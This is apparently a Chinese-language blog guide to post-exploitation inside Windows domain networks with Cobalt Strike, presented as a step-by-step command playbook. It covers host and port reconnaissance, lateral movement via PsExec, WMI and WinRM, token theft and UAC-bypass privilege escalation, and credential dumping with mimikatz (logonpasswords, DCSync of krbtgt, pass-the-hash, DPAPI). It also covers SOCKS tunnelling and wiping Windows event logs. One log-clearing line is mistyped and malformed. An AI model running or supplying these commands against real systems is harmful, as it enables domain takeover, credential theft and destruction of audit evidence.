内网渗透中,工具的使用只是手段,理解原理才是根本。本文记录在内网渗透场景下常用工具的使用方法与思路。

0x00 信息收集

进入内网后的第一件事:信息收集

网络拓扑探测

# 获取当前主机网络信息
shell ipconfig /all
shell route print
shell arp -a

# 域环境信息
shell net view /domain
shell net group "Domain Controllers" /domain
shell nltest /domain_trusts

端口扫描

Cobalt Strike内置的portscan功能:

# Beacon中执行端口扫描
beacon> portscan 10.10.10.0/24 445,3389,5985 parallelism(max) 20

# 也可以使用shell调用外部工具
beacon> shell powershell -exec bypass -c "Import-Module .\Invoke-Portscan.ps1; Invoke-Portscan -Hosts 10.10.10.0/24 -Ports '445,3389,5985,80,443'"

主机存活探测

# ping sweep
beacon> shell for /l %i in (1,1,255) do @ping -n 1 -w 100 10.10.10.%i | find "Reply"

# PowerShell方式
beacon> shell powershell -c "1..255 | % {Test-Connection -Count 1 -Quiet 10.10.10.$_}"

0x01 横向移动

PsExec

最经典的横向移动方式:

# CS内置psexec
beacon> jump psexec64 DC01 beacon_bind_pipe

# 手动方式
beacon> shell copy \\target\C$\Windows\Temp\beacon.exe \\target\C$\Windows\Temp\
beacon> shell sc \\target create BeaconSvc binPath= "C:\Windows\Temp\beacon.exe"
beacon> shell sc \\target start BeaconSvc

WMI

# CS内置wmi
beacon> jump wmi DC01 beacon_bind_pipe

# 手动方式
beacon> shell wmic /node:"10.10.10.1" /user:"DOMAIN\admin" /password:"P@ssw0rd" process call create "C:\Windows\Temp\beacon.exe"

WinRM

# CS内置winrm
beacon> jump winrm64 DC01

# PowerShell远程执行
beacon> shell powershell -c "Invoke-Command -ComputerName DC01 -ScriptBlock { whoami }"

SMB Beacon

SMB Beacon是内网横向中非常实用的通信方式,通过命名管道(Named Pipe)回连父Beacon:

# 创建SMB Beacon监听
beacon> link DC01

# 通过SMB隧道执行命令
beacon> getuid
beacon> shell whoami

0x02 权限提升

Token模拟

# 列出可用token
beacon> token_list

# 模拟域管理员token
beacon> token_steal <PID>
beacon> getuid

Potato提权

# JuicyPotato / PrintSpoofer
beacon> shell PrintSpoofer64.exe -i -c "C:\Windows\Temp\beacon.exe"

UAC绕过

# EventViewer绕过
beacon> shell reg add HKCU\Classes\ms-settings\shell\open\command /d "C:\Windows\Temp\beacon.exe" /f
beacon> shell eventvwr.exe
beacon> shell reg delete HKCU\Classes\ms-settings\shell\open\command /f

0x03 凭证获取

Mimikatz

# CS内置mimikatz
beacon> mimikatz !sekurlsa::logonpasswords
beacon> mimikatz !lsadump::sam

# 获取域控NTDS.dit
beacon> mimikatz !lsadump::dcsync /domain:target.local /user:krbtgt

Hash传递

# PTH攻击
beacon> pth DOMAIN\Admin NTLM_HASH
beacon> ls \\DC01\C$

DPAPI

# 解密Chrome密码等
beacon> mimikatz !dpapi::cred /in:"C:\Users\xxx\AppData\Local\Microsoft\Credentials\xxx"

0x04 隧道代理

SOCKS代理

# 在Beacon上开启socks代理
beacon> socks 1080

# 本地配置proxychains
# /etc/proxychains.conf
# socks5 127.0.0.1 1080

端口转发

# rportfwd: 将远程端口转发到本地
beacon> rportfwd 3389 10.10.10.1 3389

# rportfwd_local: 将本地端口转发到远程
beacon> rportfwd_local 8080 192.168.1.1 80

隧道叠加

在多层内网中,往往需要多级隧道:

外网VPS ──> DMZ主机(Beacon) ──> 内网主机(SMB Beacon) ──> 核心网段

# 第一层: VPS→DMZ socks代理
# 第二层: DMZ→内网 rportfwd
# 使用proxychains串联

0x05 日志清理

# 清除Windows事件日志
beacon> shell wevtutil cl Security
beacon> shell wevtutil cl System
beacon> shell wevtutil cl Application

# 清除指定时间段日志
beadow> shell wevtutil qe Security /q:"*[System[TimeCreated[@SystemTime>='2020-06-22T00:00:00']]]" /ow:true

0x06 常用工具汇总

工具 用途 场景
SharpHound AD信息收集 BloodHound可视化分析
Rubeus Kerberos攻击 AS-REP Roasting, Kerberoasting
Seatbelt 主机信息收集 提权路径分析
SharpUp 提权检查 发现可利用的提权点
Certify AD CS攻击 证书服务漏洞利用
KrbRelayUp Kerberos Relay 域内提权
ADCSPwn ADCS利用 证书模板漏洞

以上。